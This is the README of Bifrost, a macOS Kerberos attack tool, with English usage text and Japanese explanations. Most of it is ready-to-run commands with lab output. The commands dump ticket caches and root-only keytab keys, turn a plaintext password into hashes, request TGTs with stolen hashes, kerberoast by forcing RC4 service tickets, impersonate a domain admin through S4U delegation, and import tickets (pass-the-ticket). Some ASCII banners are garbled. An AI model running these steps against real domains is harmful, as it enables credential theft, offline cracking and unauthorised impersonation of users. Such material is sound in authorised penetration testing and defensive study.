
( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| () )| || | | | ( () )_, | |_
(__/'()() () \___/'(____/_)
Usage: ./bifrost -action [dump | list | askhash | describe | asktgt | asktgs | s4u | ptt | remove] For dump action: -source [tickets | keytab] for keytab, optional -path to specify a keytab for tickets, optional -name to specify a ccache entry to dump For list action: no other options are necessary For askhash action: -username a.test -password 'mypassword' -domain DOMAIN.COM optionally specify -enctype [aes256 | aes128 | rc4] or get all of them optionally specify -bpassword 'base64 of password' in case there might be issues with parsing or special characters For asktgt action: -username a.test -domain DOMAIN.COM if using a plaintext password, specify -password 'password' if using a hash, specify -enctype [aes256 | aes128 | rc4] -hash [hash_here] optionally specify -tgtEnctype [aes256|aes128|rc4] to request a TGT with a specific encryption type optionally specify -supportAll false to indicate that you want a TGT to match your hash enctype, otherwise will try to get AES256 if using a keytab, specify -enctype and -keytab [keytab path] to pull a specific hash from the keytab optionally specify -tgtEnctype [aes256|aes128|rc4] to request a TGT with a specific encryption type optionally specify -supportAll false to indicate that you want a TGT to match your hash enctype, otherwise will try to get AES256 For describe action: -ticket base64KirbiTicket For asktgs action: -ticket [base64 of TGT] -service [comma separated list of SPNs] optionally specify -connectDomain to connect to a domain other than the one specified in the ticket optionally specify -serviceDomain to request a service ticket in a domain other than the one specified in the ticket optionally specify -kerberoast true to indicate a request for rc4 instead of aes256 For s4u: -ticket [base64 of TGT] -targetUser [target user in current domain, or targetuser@domain for a different domain] -spn [target SPN] (if this isn't specified, just a forwardable S4U2Self ticket is requested as targetUser) optionally specify -connectDomain [domain or host to connect to] For ptt: -ticket [base64 of kirbi ticket] optionally specify -name [name] to import the ticket into a specific credential cache optionally specify -name new to import the ticket into a new credential cache For remove: for tickets: -source tickets -name [name here] (removes an entire ccache) for keytabs: -source keytab -principal [principal name] (removes all entries for that principal) for keytabs: optionally specify -name to not use the default keytab you can't remove a specific ccache principal entry since it seems to not be implemented in heimdal
# Table of Contents
- [Overview](#overview)
- commands
- [list](#list)
- [dump](#dump)
- [tickets](#tickets)
- [keytab](#keytab)
- [askhash](#askhash)
- [asktgt](#asktgt)
- [with plaintext](#with-plaintext-password)
- [with hash](#with-hash)
- [with keytab entry](#with-keytab-entry)
- [describe](#describe)
- [asktgs](#asktgs)
- [different domains](#different-domains)
- [kerberoasting](#kerberoasting)
- [s4u](#s4u)
- [ptt](#ptt)
- [remove](#remove)
- [credential cache](#credential-cache)
- [keytab entry](#keytab-entry)
## Overview
Bifrost は、macOS 上で Heimdal krb5 API を操作するために設計された Objective-C プロジェクトです。Bifrost は静的ライブラリにコンパイルされます(必要に応じて dylib に変更することも可能です)。bifrostconsole は、Bifrost ライブラリを使用するシンプルなコンソールプロジェクトです。このプロジェクトの目的は、対象マシン上に他のフレームワークやパッケージを必要とせず、ネイティブ API を使用して macOS デバイス上の Kerberos に関するセキュリティテストをより適切に行えるようにすることです。
これは Mac 上でコンパイルする必要があり、テスト目的ですべての人が簡単に利用できるとは限らないため、"compiled_binaries" フォルダにコンソールとライブラリのコンパイル済みバージョンを同梱しています。これらはプリコンパイル済みであるため、強くシグネチャリングされており、個人のテスト目的でのみ使用できることを想定してください。
## list
`-action list` コマンドは、メモリ内のすべての資格情報キャッシュをループし、各キャッシュとその中の各エントリに関する基本情報を表示します。また、デフォルトのキャッシュを `[*]` マーカーで識別し、その他の各キャッシュを `[+]` マーカーで識別します。```
spooky:~ lab_admin$ ./bifrost -action list
___ ___ _
( _`\ _ /'___) ( )_
| (_) )(_)| (__ _ __ _ ___ | ,_)
| _ <'| || ,__)( '__)/'_`\ /',__)| |
| (_) )| || | | | ( (_) )\__, \| |_
(____/'(_)(_) (_) `\___/'(____/\__)
[*] Principal: [email protected]
Name: API:A74E8799-8173-4D1A-8C7D-AFD2D8B003F3
Issued Expires Principal Flags
2019-11-13 18:00:20PST 2019-11-14 04:00:20PST krbtgt/[email protected] (forwardable renewable initial pre-auth )
1970-12-31 16:00:00PST 2019-12-13 18:00:21PST krb5_ccache_conf_data/kcm-status@X-CACHECONF: ()
-action dump コマンドは、フラグに基づいて keytab または資格情報キャッシュに関する情報を抽出できます。
チケットを具体的にダンプするには、 -source tickets を使用します。デフォルトでは、既定の資格情報キャッシュのみを反復処理します。既定の資格情報キャッシュは、-action list コマンドを使用し、[*] マーカーで識別されたキャッシュを探すことで特定できます。特定の資格情報キャッシュをダンプするには、-name [name here] フラグを使用します。
各チケットは記述され、base64 Kirbi 形式でダンプされます。この形式は、他のコマンドや Windows 上の他のツールで使用できます。``` spooky:~ lab_admin$ ./bifrost -action dump -source tickets
( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| () )| || | | | ( () )_, | |_
(/'()() (_) `_/'(___/_)
Client: [email protected] Principal: krbtgt/LAB.[email protected] Key enctype: aes256 Key: DUpykxCguZ9JtWML38nygb5Yyhvd1nGvy+MGReD7sXU= (0D4A729310A0B99F49B5630BDFC9F281BE58CA1BDDD671AFCBE30645E0FBB175) Expires: 2019-11-14 12:00:20 GMT Flags: forwardable renewable initial pre-auth Kirbi: doIFIDCCBRygBgIEAAA<...snip...>TE9DQUw=
Client: [email protected] Principal: krb5_ccache_conf_data/kcm-status@X-CACHECONF: Key enctype: 0 Key: () Expires: 2019-12-14 02:00:21 GMT Flags: Principal type: kcm-status Ticket Data: a3JiNQAAAAEAAAAA
### keytab
keytab キーをダンプするには、`-source keytab` パラメータを使用します。デフォルトでは、root のみが読み取り可能なデフォルトの keytab(`/etc/krb5.keytab`)から情報のダンプを試みます。別の keytab を指定するには、`-path /path/to/keytab` 引数を使用します。
各 keytab エントリが説明され、キーは base64 と hex でダンプされます。```
spooky:~ lab_admin$ ./bifrost -action dump -source keytab -path test
___ ___ _
( _`\ _ /'___) ( )_
| (_) )(_)| (__ _ __ _ ___ | ,_)
| _ <'| || ,__)( '__)/'_`\ /',__)| |
| (_) )| || | | | ( (_) )\__, \| |_
(____/'(_)(_) (_) `\___/'(____/\__)
[*] Resolving keytab path
[+] Successfully opened keytab
[+] principal: [email protected]
Entry version: 3
Key enctype: aes256
Key: 2DE49D76499F89DEA6DFA62D0EA7FEDFD108EC52936740E2450786A92616D1E1
Timestamp: 2019-11-10 04:58:09 GMT
bash-3.2$ sudo ./bifrost -action dump -source keytab
___ ___ _
( _`\ _ /'___) ( )_
| (_) )(_)| (__ _ __ _ ___ | ,_)
| _ <'| || ,__)( '__)/'_`\ /',__)| |
| (_) )| || | | | ( (_) )\__, \| |_
(____/'(_)(_) (_) `\___/'(____/\__)
[*] Resolving default keytab path
[+] Successfully opened keytab
[+] principal: afpserver/LKDC:SHA1.B58C56AD77898DE69AAEFD22A538D6EDDEFF8D47@LKDC:SHA1.B58C56AD77898DE69AAEFD22A538D6EDDEFF8D47
Entry version: 2
Key enctype: aes256
Key: 75769776DD087E3C951C514F5DB8A8FAC9DF7BF0EC6FA50A8362C456146B833B
Timestamp: 2018-10-27 03:26:13 GMT
[+] principal: cifs/LKDC:SHA1.B58C56AD77898DE69AAEFD22A538D6EDDEFF8D47@LKDC:SHA1.B58C56AD77898DE69AAEFD22A538D6EDDEFF8D47
Entry version: 2
Key enctype: aes256
Key: 75769776DD087E3C951C514F5DB8A8FAC9DF7BF0EC6FA50A8362C456146B833B
Timestamp: 2018-10-27 03:26:13 GMT
<...snip...>
[+] principal: [email protected]
Entry version: 2
Key enctype: rc4
Key: A12AD40BD124E6A9A14D65504E8EA30A
Timestamp: 2019-11-14 02:11:20 GMT
[+] principal: [email protected]
Entry version: 2
Key enctype: aes256
Key: C1BF6861A00B35A97483E820863FAD4ED57831D935DBFE2D501727C678503F73
Timestamp: 2019-11-14 02:11:20 GMT
[+] principal: [email protected]
Entry version: 2
Key enctype: aes128
Key: 1F44A5E5C7919C00F3166A1344D4FFDA
-action askhash は、TGT の要求と応答の復号に必要なハッシュを計算します。このコマンドでは、-password [password here] で平文のパスワードが必要です。ただし、パスワードに問題を引き起こす可能性のある特殊文字が含まれている場合は、-bpassword [base64 password here] でパスワードの base64 エンコード版を指定することもできます。また、適切なソルトを生成するために、-username [username] と -domain fqdn パラメータも指定する必要があります。
computer$ アカウントのハッシュを取得したい場合は、ユーザー名に $ を含めるようにしてください。コンピュータアカウントのソルトは、ユーザーアカウントのソルトとは異なります。```
spooky:~ lab_admin$ ./bifrost -action askhash -username lab_admin -domain lab.local -bpassword YWJjMTIzISEh
( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| () )| || | | | ( () )_, | |_
(/'()() (_) `_/'(___/_)
Username: lab_admin Password: abc123!!! Domain: LAB.LOCAL Salt: LAB.LOCALlab_admin
Keys: AES128: CFE28C26EAF8DE4A0A2AE0CC69E6EB6B AES256: 2DE49D76499F89DEA6DFA62D0EA7FEDFD108EC52936740E2450786A92616D1E1 RC4 : 8C1A1B4466CB7F145CAB016435B893EF
## asktgt
`-action asktgt` コマンドは、平文パスワード、ハッシュ、または keytab エントリを使用して、DC から TGT を要求します。
### 平文パスワードを使用する
平文パスワードを使用するには、`-password [password]` に加えて `-username [username]` と `-domain [fqdn]` を指定する必要があります。パスワードに問題を引き起こす可能性のある特殊文字が含まれている場合は、代わりに `-bpassword [base64 of password]` を指定してください。これにより、Kerberos ログイン API を使用して TGT を通常どおり要求し、新しい資格情報キャッシュに格納します。その後、Bifrost はそのキャッシュからチケットを抽出し、キャッシュを削除します。```
spooky:~ lab_admin$ ./bifrost -action asktgt -username lab_admin -domain lab.local -bpassword YWJjMTIzISEh
___ ___ _
( _`\ _ /'___) ( )_
| (_) )(_)| (__ _ __ _ ___ | ,_)
| _ <'| || ,__)( '__)/'_`\ /',__)| |
| (_) )| || | | | ( (_) )\__, \| |_
(____/'(_)(_) (_) `\___/'(____/\__)
[*] Requesting principal: [email protected]
[*] Requesting password: abc123!!!
[*] Creating TGT Request for [email protected]
[*] Requesting TGT into temporary CCache
[+] Successfully got TGT into new CCache: API:A74E8799-8173-4D1A-8C7D-AFD2D8B003F3
[*] Dumping ticket from new CCache and removing entry
Client: [email protected]
Principal: krbtgt/[email protected]
Key enctype: aes256
Key: lFfEz+OGE0IrlRiNbqN3KbkH1cC0Sb28eVJ8V2yp3EM= (9457C4CFE38613422B95188D6EA37729B907D5C0B449BDBC79527C576CA9DC43)
Expires: 2019-11-14 12:28:25 GMT
Flags: forwardable initial pre-auth
Kirbi:
doIFDTCCBQm<...snip...>TA==
[+] Removed CCache entry: API:A74E8799-8173-4D1A-8C7D-AFD2D8B003F3
[+] Successfully obtained Kerberos ticket for principal lab_admin.
ハッシュを使用するには、-username [username] と -domain [fqdn] に加えて、-hash [hash here] と -enctype [aes256|aes128|rc4|des3] を指定する必要があります。 これらのパラメータだけで、Bifrost は手動の ASN1 Kerberos トラフィックを構築し、ポート 88 で [fqdn] に接続して AES256 TGT を要求します (具体的には、有効な戻り暗号化タイプとして aes256、aes128、rc4 をリストアップします)。 これはもちろん変更できます。 -supportAll false フラグを指定すると、サポートされる暗号化応答タイプがハッシュと同じものだけになるようにトラフィックが調整されます。 あるいは、-tgtEnctype [aes256|aes128|rc4] を指定すると、指定されたハッシュタイプに関係なく、特定の暗号化タイプの TGT を要求できます。```
spooky:~ lab_admin$ ./bifrost -action asktgt -username lab_admin -domain lab.local -enctype aes256 -hash 2DE49D76499F89DEA6DFA62D0EA7FEDFD108EC52936740E2450786A92616D1E1 -tgtEnctype rc4
( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| () )| || | | | ( () )_, | |_
(/'()() (_) `_/'(___/_)
[] Requesting hash type: 23 [] LAB.LOCAL resolved to : 192.168.205.150 [+] Successfully connected to remote domain [+] Successfully sent ASREQ [+] Successfully received ASREP [] Describing ticket Client: [email protected] Principal: krbtgt/LAB.[email protected] Start: 2019-11-14 02:33:11 GMT End: 2019-11-14 12:33:11 GMT Renew: 2019-11-21 02:33:11 GMT Key Type: ARCFOUR_HMAC Key Value: P7EYn0Y5BFcE7o0gONzEhQ== (3FB1189F4639045704EE8D2038DCC485) Flags: forwardable renewable initial pre-auth [] Creating Kirbi: doIFADCCBPygBgI<...snip...>FCLkxPQ0FM
### keytabエントリを使用する
keytabを使用するには、`-enctype [aes256|aes128|rc4]` と `-keytab [keytabへのパス]` に加えて、`-username [ユーザー名]` と `-domain [FQDN]` を指定する必要があります。Bifrostはkeytabを開き、指定されたユーザー名、ドメイン、暗号化タイプに一致するエントリを検索して、そのハッシュを取得します。これらのパラメータだけで、Bifrostは手動のASN1 Kerberosトラフィックを構築し、ポート88の `[fqdn]` に接続してAES256 TGTを要求します(具体的には、有効な戻り暗号化タイプとしてaes256、aes128、rc4を列挙します)。これはもちろん変更できます。`-supportAll false` フラグを指定すると、サポートされる暗号化応答タイプがハッシュと同じになるようにトラフィックを調整します。あるいは、`-tgtEnctype [aes256|aes128|rc4]` を指定して、指定されたハッシュタイプに関係なく、特定の暗号化タイプのTGTを要求することもできます。```
spooky:~ lab_admin$ ./bifrost -action asktgt -username lab_admin -domain lab.local -enctype aes256 -keytab test
___ ___ _
( _`\ _ /'___) ( )_
| (_) )(_)| (__ _ __ _ ___ | ,_)
| _ <'| || ,__)( '__)/'_`\ /',__)| |
| (_) )| || | | | ( (_) )\__, \| |_
(____/'(_)(_) (_) `\___/'(____/\__)
[*] Resolving keytab path: test
[+] Successfully opened keytab
[*] Searching for principal: [email protected]
[*] Found match, retrieving key
[+] Using hash: 2DE49D76499F89DEA6DFA62D0EA7FEDFD108EC52936740E2450786A92616D1E1
[*] LAB.LOCAL resolved to : 192.168.205.150
[+] Successfully connected to remote domain
[+] Successfully sent ASREQ
[+] Successfully received ASREP
[*] Describing ticket
Client: [email protected]
Principal: krbtgt/[email protected]
Start: 2019-11-14 02:35:16 GMT
End: 2019-11-14 12:35:16 GMT
Renew: 2019-11-21 02:35:16 GMT
Key Type: AES256_CTS_HMAC_SHA1_96
Key Value: 4YgDg1Y8kIGg1xvfTpSmigdPo3KkdAqBMj54dSnXJtM= (E1880383563C9081A0D71BDF4E94A68A074FA372A4740A81323E787529D726D3)
Flags: forwardable renewable initial pre-auth
[*] Creating Kirbi:
doIFIDCCBR<...snip...>DQUw=
-action describe コマンドは、Kirbi ファイルの情報を解析します。-ticket [base64 of Kirbi ticket] を指定する必要があります。```
spooky:~ lab_admin$ ./bifrost -action describe -ticket doIFIDCCBRygBgIEAA<...snip...>Uw=
( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| () )| || | | | ( () )_, | |_
(/'()() (_) `_/'(___/_)
Client: [email protected] Principal: krbtgt/LAB.[email protected] Start: 2019-11-14 02:35:16 GMT End: 2019-11-14 12:35:16 GMT Renew: 2019-11-21 02:35:16 GMT Key Type: AES256_CTS_HMAC_SHA1_96 Key Value: 4YgDg1Y8kIGg1xvfTpSmigdPo3KkdAqBMj54dSnXJtM= (E1880383563C9081A0D71BDF4E94A68A074FA372A4740A81323E787529D726D3) Flags: forwardable renewable initial pre-auth
## asktgs
`-action asktgs` コマンドは、指定された TGT に基づいて KDC にサービスチケットを要求します。`-ticket [base64 of kirbi TGT]` と `-service [spn,spn,spn]` を指定する必要があります。```
spooky:~ lab_admin$ ./bifrost -action asktgs -ticket doIFIDC<...snip...>Uw= -service cifs/dc1-lab.lab.local,host/dc1-lab.lab.local
___ ___ _
( _`\ _ /'___) ( )_
| (_) )(_)| (__ _ __ _ ___ | ,_)
| _ <'| || ,__)( '__)/'_`\ /',__)| |
| (_) )| || | | | ( (_) )\__, \| |_
(____/'(_)(_) (_) `\___/'(____/\__)
[*] LAB.LOCAL resolved to : 192.168.205.150
[+] Successfully connected to remote domain
[*] Requesting service ticket to cifs/dc1-lab.lab.local as lab_admin
[+] Successfully sent TGSREQ
[+] Successfully received TGSREP
[+] Parsing TGS-REP
Client Domain: LAB.LOCAL
Requesting account: lab_admin
Requested Service: cifs/dc1-lab.lab.local
Ticket Encryption: 23
[*] Describing ticket
Client: [email protected]
Principal: cifs/[email protected]
Start: 2019-11-14 02:43:39 GMT
End: 2019-11-14 12:35:16 GMT
Renew: 2019-11-21 02:35:16 GMT
Key Type: ARCFOUR_HMAC
Key Value: 06IYcTPmajAEvXCjTim9lA== (D3A2187133E66A3004BD70A34E29BD94)
Flags: forwardable renewable pre-auth
[*] Creating Kirbi:
doIFEDCCBQ<...snip...>A==
[+] Successfully got service ticket
[*] LAB.LOCAL resolved to : 192.168.205.150
[+] Successfully connected to remote domain
[*] Requesting service ticket to host/dc1-lab.lab.local as lab_admin
[+] Successfully sent TGSREQ
[+] Successfully received TGSREP
[+] Parsing TGS-REP
Client Domain: LAB.LOCAL
Requesting account: lab_admin
Requested Service: host/dc1-lab.lab.local
Ticket Encryption: 18
[*] Describing ticket
Client: [email protected]
Principal: host/[email protected]
Start: 2019-11-14 02:43:39 GMT
End: 2019-11-14 12:35:16 GMT
Renew: 2019-11-21 02:35:16 GMT
Key Type: AES256_CTS_HMAC_SHA1_96
Key Value: JGWDGXrjkzMD5Tr4dv+b6a5fR97IY8ycwoz1bHsywJw= (246583197AE3933303E53AF876FF9BE9AE5F47DEC863CC9CC28CF56C7B32C09C)
Flags: forwardable renewable pre-auth ok-as-delegate
[*] Creating Kirbi:
doIFL<...snip...>w=
[+] Successfully got service ticket
既定では、BifrostはTGTから接続先ドメインとサービスのドメインに関する情報を取得します。これらのいずれかがTGTと異なる場合は、-connectDomain [domain to connect to] と -serviceDomain [domain of the service] で手動で指定できます。 デフォルトでは、Bifrostは結果のサービスでaes256、aes128、rc4暗号化タイプを受け入れ可能と指定します(そのため、ほとんどの場合aes256サービスチケットが返されます)。
aes256サービスチケットではなく、より解読しやすいものを希望する場合は、-kerberoast true フラグを指定して、結果のサービスチケットをrc4にすることを示せます。```
spooky:~ lab_admin$ ./bifrost -action asktgs -ticket doIF<...snip...>QUw= -service host/dc1-lab.lab.local -kerberoast true
( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| () )| || | | | ( () )_, | |_
(/'()() (_) `_/'(___/_)
[] LAB.LOCAL resolved to : 192.168.205.150 [+] Successfully connected to remote domain [] Requesting service ticket to host/dc1-lab.lab.local as lab_admin [+] Successfully sent TGSREQ [+] Successfully received TGSREP [+] Parsing TGS-REP Client Domain: LAB.LOCAL Requesting account: lab_admin Requested Service: host/dc1-lab.lab.local Ticket Encryption: 23 [] Describing ticket Client: [email protected] Principal: host/dc1-[email protected] Start: 2019-11-14 02:49:01 GMT End: 2019-11-14 12:46:50 GMT Renew: 2019-11-21 02:46:50 GMT Key Type: ARCFOUR_HMAC Key Value: j3VcAqIgsLI38a4aqi0jOw== (8F755C02A220B0B237F1AE1AAA2D233B) Flags: forwardable renewable pre-auth ok-as-delegate [] Creating Kirbi: doIFE<...snip...>A== [+] Successfully got service ticket
## s4u
`-action s4u` コマンドは、リソースベースの制約付き委任を利用します。`-ticket [base64 of TGT]` と `-targetUser [username]` を指定する必要があります(ユーザーがTGTの対象ドメインとは別のドメインにいる場合は、ターゲットユーザーを `[email protected]` として指定します)。この時点では、BifrostはS4U2Selfプロセスのみを実行します。プロセスを完了させ、S4U2Proxyも実行するには、追加で `-spn [target spn]` を指定します。TGTで指定されたドメインとは異なるドメインに接続する必要がある場合は、`-connectDomain [fqdn]` を指定できます。この一連の処理では、ポート88上で手動のASN1 Kerberosトラフィックが再度生成されます。```
*** Using the TGT of the "alice" account, which has an SPN set (HTTP/spooky.lab.local) and has the userAccountControl flag for TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION set to true (0x1000000) and has msDS-AllowedToDelegateTo set to the SPN of cifs/dc1-lab.lab.local ***
spooky:~ lab_admin$ ./bifrost -action s4u -targetUser lab_admin -spn cifs/dc1-lab.lab.local -ticket doIF<...snip...>QUw=
___ ___ _
( _`\ _ /'___) ( )_
| (_) )(_)| (__ _ __ _ ___ | ,_)
| _ <'| || ,__)( '__)/'_`\ /',__)| |
| (_) )| || | | | ( (_) )\__, \| |_
(____/'(_)(_) (_) `\___/'(____/\__)
[*] LAB.LOCAL resolved to : 192.168.205.150
[+] Successfully connected to remote domain
[*] Requesting service ticket to alice as lab_admin
[+] Successfully sent request
[+] Successfully received response
[+] Parsing TGS-REP
Client Domain: LAB.LOCAL
Requesting account: [email protected]
Requested Service: alice
Ticket Encryption: 23
[*] Describing ticket
Client: [email protected]@LAB.LOCAL
Principal: [email protected]
Start: 2019-11-14 04:17:45 GMT
End: 2019-11-14 13:59:56 GMT
Renew: 2019-11-21 03:59:56 GMT
Key Type: ARCFOUR_HMAC
Key Value: MV4AR2rIg23e8uj0LmuP4w== (315E00476AC8836DDEF2E8F42E6B8FE3)
Flags: forwardable renewable pre-auth
[*] Creating Kirbi:
doIFQD<...snip...>ZQ==
[*] Impersonating [email protected] to service cifs/[email protected] via S4U2Proxy
[*] LAB.LOCAL resolved to : 192.168.205.150
[+] Successfully connected to remote domain
[+] Successfully sent request
[+] Successfully received response
[+] Parsing TGS-REP
Client Domain: LAB.LOCAL
Requesting account: [email protected]
Requested Service: cifs/dc1-lab.lab.local
Ticket Encryption: 18
[*] Describing ticket
Client: [email protected]@LAB.LOCAL
Principal: cifs/[email protected]
Start: 2019-11-14 04:17:45 GMT
End: 2019-11-14 13:59:56 GMT
Renew: 2019-11-21 03:59:56 GMT
Key Type: AES256_CTS_HMAC_SHA1_96
Key Value: qvO9Rh88ju+LlobxDwdS9fAy9MjqVg/FOfS/RCxVOlo= (AAF3BD461F3C8EEF8B9686F10F0752F5F032F4C8EA560FC539F4BF442C553A5A)
Flags: forwardable renewable pre-auth ok-as-delegate
[*] Creating Kirbi:
doIG<...snip...>9jYWw=
これで、その最終的な Kirbi チケットを使用して、プロセス全体で使用された TGT が LAB\alice のものであったとしても、cifs/dc1-lab.lab.local に lab_admin としてアクセスできます。
-action ptt コマンドは、チケット (TGT またはサービス チケット) を受け取り、指定された資格情報キャッシュにインポートするか、新しい資格情報キャッシュを作成します。-ticket [base64 of ticket] を指定し、指定されたキャッシュにチケットを追加するには -name [full credential cache name] を指定するか、新しい資格情報キャッシュを作成してそこにチケットをインポートするには -name new を指定する必要があります。```
spooky:~ lab_admin$ ./bifrost -action list
( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| () )| || | | | ( () )_, | |_
(/'()() (_) `_/'(___/_)
spooky:~ lab_admin$ ./bifrost -action ptt -cache new -ticket doI<...snip...>QUw=
( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| () )| || | | | ( () )_, | |_
(/'()() (_) `_/'(___/_)
[+] Successfully parsed Kirbi data [] Converting ticket to ccache cred [+] Successfully converted ticket to ccache cred [] Creating new ccache [*] Saving credential for krbtgt/LAB.LOCAL [+] Successfully imported credential spooky:~ lab_admin$ ./bifrost -action list
( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| () )| || | | | ( () )_, | |_
(/'()() (_) `_/'(___/_)
[*] Principal: [email protected] Name: API:9C9CE38B-DEC1-42DF-8401-E61A39B3267F Issued Expires Principal Flags 2019-11-13 18:58:06PST 2019-11-14 04:58:06PST krbtgt/LAB.[email protected] (forwardable renewable initial pre-auth )
## remove
`-action remove` コマンドは、キャッシュまたはキータブエントリを削除します。
### credential cache
クレデンシャルキャッシュを削除するには、`-source tickets` と `-name [cache name here]` を指定する必要があります。これにより、キャッシュ全体が削除されます。krb5 Heimdal APIに関して私が知る限り、特定のクレデンシャルエントリを削除することはできません。MITKerberosShimは、必要な関数が実装されていないと報告しています。```
spooky:~ lab_admin$ ./bifrost -action list
___ ___ _
( _`\ _ /'___) ( )_
| (_) )(_)| (__ _ __ _ ___ | ,_)
| _ <'| || ,__)( '__)/'_`\ /',__)| |
| (_) )| || | | | ( (_) )\__, \| |_
(____/'(_)(_) (_) `\___/'(____/\__)
[*] Principal: [email protected]
Name: API:9C9CE38B-DEC1-42DF-8401-E61A39B3267F
Issued Expires Principal Flags
2019-11-13 18:58:06PST 2019-11-14 04:58:06PST krbtgt/[email protected] (forwardable renewable initial pre-auth )
spooky:~ lab_admin$ ./bifrost -action remove -source tickets -name API:9C9CE38B-DEC1-42DF-8401-E61A39B3267F
___ ___ _
( _`\ _ /'___) ( )_
| (_) )(_)| (__ _ __ _ ___ | ,_)
| _ <'| || ,__)( '__)/'_`\ /',__)| |
| (_) )| || | | | ( (_) )\__, \| |_
(____/'(_)(_) (_) `\___/'(____/\__)
[*] Resolving CCache name: API:9C9CE38B-DEC1-42DF-8401-E61A39B3267F
[+] Successfully resolved CCache name
[+] Successfully removed CCache
spooky:~ lab_admin$ ./bifrost -action list
___ ___ _
( _`\ _ /'___) ( )_
| (_) )(_)| (__ _ __ _ ___ | ,_)
| _ <'| || ,__)( '__)/'_`\ /',__)| |
| (_) )| || | | | ( (_) )\__, \| |_
(____/'(_)(_) (_) `\___/'(____/\__)
spooky:~ lab_admin$
keytab から principal を削除するには、-source keytab と -principal [principal name] を指定する必要があります。デフォルトでは、デフォルトの keytab 内で principal が検索されますが、特定の keytab を使用したい場合は、-name [path to keytab] で指定してください。